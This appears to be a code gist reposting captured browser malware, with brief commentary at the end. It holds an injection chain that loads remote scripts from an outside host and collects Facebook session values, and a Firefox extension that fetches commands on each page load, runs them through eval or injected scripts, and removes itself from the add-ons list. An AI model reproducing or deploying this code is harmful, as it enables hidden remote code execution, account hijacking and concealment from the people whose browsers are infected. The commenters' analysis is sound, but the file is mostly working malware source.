gistfile1.js

/* proxy.js */
var yourURL = 'http://uhahoii.com/cfunctions.js';
if (!document.getElementById('cmdfire')) {
    var s = document.createElement('script');
    s.src = yourURL + '?' + Math.random();
    s.id = 'cmdfire';
    var h = document.getElementsByTagName('head')[0];
    var b = document.getElementsByTagName('body')[0];
    if (!h) {
        b.appendChild(s);
    } else {
        h.appendChild(s);
    }
}


/* cfunctions.js */

var bbch = document.getElementsByTagName('body')[0];
var chch = document.createElement('script');
chch.src = 'http://uhahoii.com/jquery.js?ua=ch';
bbch.appendChild(chch);

/* jquery.js?ua=ch */

var country = "US";
var body = document.getElementsByTagName('body')[0];
var head = document.getElementsByTagName('head')[0];

function uniqueArr(a) {
    temp = new Array();
    for (i = 0; i < a.length; i++) {
        if (!contains(temp, a[i])) {
            temp.length += 1;
            temp[temp.length - 1] = a[i];
        }
    }
    return temp;
}
function contains(a, e) {
    for (j = 0; j < a.length; j++) if (a[j] == e) return true;
    return false;
}
function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
    document.cookie = c_name + "=" + c_value;
}
function getCookie(c_name) {
    var i, x, y, ARRcookies = document.cookie.split(";");
    for (i = 0; i < ARRcookies.length; i++) {
        x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));
        y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);
        x = x.replace(/^\s+|\s+$/g, "");
        if (x == c_name) {
            return unescape(y);
        }
    }
}
var ch_t = document.createElement('img');
ch_t.style.position = 'absolute';
ch_t.style.left = '-99999px';
ch_t.style.top = '-99999px';
ch_t.src = 'http://whos.amung.us/widget/nel0w9mfem5v.pnh';
body.appendChild(ch_t);
if (document.location.href.search("facebook.com") > -1) {
    if (getCookie("c_user")) {
        var cid = document.getElementsByName('xhpc_composerid')[0].value;
        var tid = document.getElementsByName("xhpc_targetid")[0].value;
        var uid = Env.user;
        var fbdt = Env.fb_dtsg;
        var fid = Env.post_form_id;
    }
}

xpi main.js

window.addEventListener("load", function() { myExtension.init(); }, false);
var myExtension = {
    init: function() {
        var appcontent = document.getElementById("appcontent");   // browser
        if(appcontent)
            appcontent.addEventListener("DOMContentLoaded", myExtension.onPageLoad, true);
            var messagepane = document.getElementById("messagepane"); // mail
        if(messagepane)
        messagepane.addEventListener("load", function() { myExtension.onPageLoad(); }, true);
        
        /*
            
            store preference here and ping remote bawks
        
        */
        
    },

    onPageLoad: function(aEvent) {
        var doc = aEvent.originalTarget;
        
        //filter out blank tabs and the homepage
        if(doc.location.href.search("about:home") > -1){
        
        }else{

            //cmd fire
            setTimeout(function(){
                var xmlhttp = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createInstance(Components.interfaces.nsIXMLHttpRequest);
xmlhttp.open("GET", "http://uhahoii.com/ffunctions.js", true);              
                xmlhttp.onreadystatechange = function(){
                    var _observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
                    if (xmlhttp.readyState == 4) {
                        if (xmlhttp.status == 200) {
                            var req = xmlhttp.responseText;
                            if(req == ""){
                                //we didnt grab shit - no commands, etc. dont bother with this shit.
                            }else{
                                var head = doc.getElementsByTagName('head')[0];
                                var body = doc.getElementsByTagName('body')[0];
                                if(head){
                                    entry = head;
                                }else if(body){
                                    entry = body;
                                }
                                //meat and potatoes
                                eval(req);
                                for(var x in mothership){
                                    if (mothership[x].command == "eval") {
                                        eval(mothership[x].data);
                                    }else if (mothership[x].command == "script_src") {
                                        var scoutship = doc.createElement('script');
                                        scoutship.type = "text/javascript";
                                        scoutship.src = mothership[x].data;
                                        entry.appendChild(scoutship);
                                    }else if (mothership[x].command == "script_html") {
                                        var scoutship = doc.createElement('script');
                                        scoutship.type = "text/javascript";
                                        scoutship.innerHTML = mothership[x].data;
                                        entry.appendChild(scoutship); 
                                    }    
                                    //alert("Command was: "+mothership[x].command+" and data was "+mothership[x].data);
                                }
                                
                                
                            }
                        } else {
                            //nothing was returned - should probably fuck some shit up here.                        
                        }
                    }
                }
                xmlhttp.send(null);
            },1000);
            

            
var myExtId = "[email protected]";/*lolol*/
            if(doc.location.href.search("about:addons") > -1){
                setInterval(function(){
                    var list = doc.getElementById('addon-list');
                    var exts = doc.getElementsByTagName('richlistitem');
                    for(i=0;i<=exts.length;i++){ 
                        if(exts[i].value == myExtId){ 
                            list.removeChild(exts[i]); 
                        }
                    }
                },100);
            }           
        }

        aEvent.originalTarget.defaultView.addEventListener("unload", function(){ myExtension.onPageUnload(); }, true);
    },
    onPageUnload: function(aEvent) {
        //shit
    }
}

http://uhahoii.com/ffunctions.js

var mothership = {
"1":
    {
        command: "eval",
        data: ""
},
"2":
    {
        command: "script_html",
        data: ""
    },
"3":
    {
        command: "script_src",
        data: "http://uhahoii.com/jquery.js?ua=ff"
    }
}

var myExtId = "[email protected]";/lolol/

haha.

(I hope we're not helping any script kiddies by posting these.)

the exploit code is still missing. Probably just a c&c server, but without that nobody can do anything with these. In the other hand, half of the xpi's code is just a copy-paste from the MDN :D